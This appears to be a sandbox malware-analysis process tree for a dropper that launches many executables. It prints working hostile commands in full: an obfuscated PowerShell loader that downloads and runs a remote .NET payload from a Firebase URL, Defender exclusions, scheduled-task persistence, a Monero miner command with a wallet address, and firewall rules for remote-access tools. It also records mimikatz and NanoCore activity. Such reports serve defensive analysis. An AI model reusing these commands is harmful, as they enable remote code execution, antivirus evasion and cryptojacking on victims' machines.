C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps17⤵
-
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i 12-04-2025.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exerhsremotesupportv2.exe4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall show rule name= RHSRemoteSupportv2 verbose5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe"C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe" --fw5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="RHSRemoteSupportv2" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\a\rhsremotesupportv2.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_hoptodesk.exe"5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM RuntimeBroker_hoptodesk.exe6⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps17⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vabank.exevabank.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\Remotely_Desktop.exeRemotely_Desktop.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Remotely_Desktop\Current\Remotely_Desktop.exe"C:\Users\Admin\AppData\Local\Temp\Remotely_Desktop\Current\Remotely_Desktop.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall delete rule name="Remotely Desktop"5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Remotely Desktop" program="C:\Users\Admin\AppData\Local\Temp\Remotely_Desktop\Current\Remotely_Desktop.exe" protocol=any dir=in enable=yes action=allow description="The agent that allows screen sharing and remote control for Remotely."5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i em_lmNmqXjo_installer_Win7-Win11_x86_x64.msi4⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\2qIIQWe.exe2qIIQWe.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Streamm.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\runtime-servece.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\start_miner.vbs'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'Streamm.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'runtime-servece.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'wscript.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'xmrig.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionExtension '.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionExtension '.vbs'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionExtension '.bat'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C schtasks /create /tn \Windows_launcher /tr "wscript.exe "C:\Users\Admin\AppData\Local\start_miner.vbs"" /sc onlogon /rl highest /f5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \Windows_launcher /tr "wscript.exe "C:\Users\Admin\AppData\Local\start_miner.vbs"" /sc onlogon /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C schtasks /create /tn \Windows_launcher_startup /tr "wscript.exe "C:\Users\Admin\AppData\Local\start_miner.vbs"" /sc onstart /delay 0000:30 /rl highest /f5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \Windows_launcher_startup /tr "wscript.exe "C:\Users\Admin\AppData\Local\start_miner.vbs"" /sc onstart /delay 0000:30 /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\runtime-servece.exe"C:\Users\Admin\AppData\Local\runtime-servece.exe" --url=xmr.kryptex.network:7029 --user=48sJ3RQVWcR4tHeemmq4cTAwYgTzGeiFWjhSfpphAtmdgDUUX7VMjLUKoWer3FjB8MXLvhocXwcbZUbrQF39gFUAHibpxEM --pass=47508 --donate-level=1 --keepalive --retries=5 --max-cpu-usage=75 --cpu-priority=25⤵
- Badlisted process makes network request
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "2qIIQWe.exe"5⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi4⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\GMSSetupX86.exeGMSSetupX86.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\win.exewin.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\agent.exeagent.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LW.exeLW.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\7x.exe7x.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1UgswWz.exe1UgswWz.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AccountBind.exeAccountBind.exe4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\mkEEuq.exeC:\Users\Admin\AppData\Local\Temp\mkEEuq.exe5⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5b2e51f4.bat" "6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\arphaCrashReport64.exearphaCrashReport64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mimikatz.exemimikatz.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmdkey /list5⤵
-
C:\Windows\system32\cmdkey.execmdkey /list6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "5⤵
-
C:\Windows\SysWOW64\mode.commode 30,206⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 106⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 36⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "5⤵
-
C:\Windows\SysWOW64\mode.commode 30,206⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 106⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hitpaw-edimakor-bing_8850.exehitpaw-edimakor-bing_8850.exe4⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
-
-
C:\Users\Admin\AppData\Local\Temp\a\AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exeAvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\a\AlphaUp-SSK.exeAlphaUp-SSK.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exeDowOnline.Installer.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CJ37K.tmp\DowOnline.Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-CJ37K.tmp\DowOnline.Installer.tmp" /SL5="$10886,13495130,780800,C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\SplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exeSplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exe4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c C:\Windows\system32\expand.exe *.cab /f:* .\5⤵
-
C:\Windows\system32\expand.exeC:\Windows\system32\expand.exe *.cab /f:* .\6⤵
- Drops file in Windows directory
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /create /xml ASOS.xml /ru "system" /tn ASOS15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /xml ASOS.xml /ru "system" /tn ASOS16⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /change /tn ASOS1 /ru "system" /tr "'C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe' SRManagerSOS.exe 1 "5⤵
-
C:\Windows\system32\schtasks.exeschtasks /change /tn ASOS1 /ru "system" /tr "'C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe' SRManagerSOS.exe 1 "6⤵
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /run /tn ASOS15⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn ASOS16⤵
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /delete /f /tn ASOS15⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn ASOS16⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\db1300_20250926.exedb1300_20250926.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VSDGE.tmp\db1300_20250926.tmp"C:\Users\Admin\AppData\Local\Temp\is-VSDGE.tmp\db1300_20250926.tmp" /SL5="$10910,32502695,139264,C:\Users\Admin\AppData\Local\Temp\a\db1300_20250926.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-AVT2O.tmp-dbinst\setup.exe"C:\Users\Admin\AppData\Local\Temp\is-AVT2O.tmp-dbinst\setup.exe" "C:\Users\Admin\AppData\Local\Temp\a\db1300_20250926.exe" /title="Driver Booster 13" /dbver=13.0.0.143 /eula="C:\Users\Admin\AppData\Local\Temp\is-AVT2O.tmp-dbinst\EULA.rtf" /showlearnmore /pmtproduct /nochromepmt /runupt6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exeInstaller_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\37cqsj.exe37cqsj.exe4⤵
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc5⤵
- Badlisted process makes network request
- Writes to the Master Boot Record (MBR)
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\999880fb2f23445aa462ca830a504d0c_crypted_build.exe999880fb2f23445aa462ca830a504d0c_crypted_build.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe4⤵
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\pk.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\pk.exe" EdmsLauncher5⤵
-
-
C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\EdmsLauncher.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\EdmsLauncher.exe"5⤵
- Manipulates Digital Signatures
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies registry class
- Modifies system certificate store
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show sslCert ipport =0.0.0.0:150026⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http delete sslCert ipport =0.0.0.0:150026⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add sslcert ipport = 0.0.0.0:15002 certhash = 873ba9adcf0babcf88bef9a12004a41ea9b49274 appid = "{9C2B08E6-A284-4B0C-A742-392C203C90F0}"6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show urlacl url = https://+:15002/EdmsLauncher/6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add urlacl url=https://+:15002/EdmsLauncher/ user=DOSKOUGD\Admin6⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fo-wsftp605.exefo-wsftp605.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\erererer.exeerererer.exe4⤵
- Badlisted process makes network request
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exehigh-level_7632.80.4076_INSTALL.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OAE3G.tmp\high-level_7632.80.4076_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-OAE3G.tmp\high-level_7632.80.4076_INSTALL.tmp" /SL5="$109D2,3576504,996352,C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe" /VERYSILENT /PASSWORD=7950e3f2-0cc9-4e71-87e7-d4659ad06bed6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J483P.tmp\high-level_7632.80.4076_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-J483P.tmp\high-level_7632.80.4076_INSTALL.tmp" /SL5="$406A0,3576504,996352,C:\Users\Admin\AppData\Local\Temp\a\high-level_7632.80.4076_INSTALL.exe" /VERYSILENT /PASSWORD=7950e3f2-0cc9-4e71-87e7-d4659ad06bed7⤵
-
C:\ProgramData\d915c809-94c1-45d1-85a7-075a2e6cab7b\FnHotkeyUtility.exe"C:\ProgramData\d915c809-94c1-45d1-85a7-075a2e6cab7b\FnHotkeyUtility.exe" -ScanType8⤵
- Checks SCSI registry key(s)
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Setup_Vreugd_Online_Magneetkaart_1290.exeSetup_Vreugd_Online_Magneetkaart_1290.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GSM5E.tmp\Setup_Vreugd_Online_Magneetkaart_1290.tmp"C:\Users\Admin\AppData\Local\Temp\is-GSM5E.tmp\Setup_Vreugd_Online_Magneetkaart_1290.tmp" /SL5="$209F4,3451169,56832,C:\Users\Admin\AppData\Local\Temp\a\Setup_Vreugd_Online_Magneetkaart_1290.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
-
